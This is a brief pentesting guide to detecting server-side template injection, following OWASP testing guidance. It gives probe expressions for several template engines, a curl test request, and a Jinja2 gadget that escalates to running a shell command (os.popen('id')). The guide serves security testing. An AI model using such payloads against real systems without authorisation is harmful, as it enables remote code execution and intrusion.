pentesting, updated
Testing for Server-side Template Injection
Check whether user input is rendered through a template engine instead of passed in as data, letting you break out into template syntax and reach code execution.
Goal
Confirm template engines never render raw user input as template source.
How to test
Probe with a benign math expression first — if it evaluates, the input is reaching the template engine as code:
{{7*7}} # Jinja2, Twig -> 49
${7*7} # Freemarker, some EL -> 49
#{7*7} # some EL/OGNL dialects -> 49
<%= 7*7 %> # ERB -> 49
curl -s "https://example.com/greet?name={{7*7}}"
Once confirmed, identify the engine and escalate to its RCE gadget (e.g. Jinja2’s {{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }}).
What to look for
The expression evaluated (49 in the response) instead of reflected literally — proof input reached the template engine as code.
References
- OWASP WSTG-INPV-18 — Testing for Server-side Template Injection.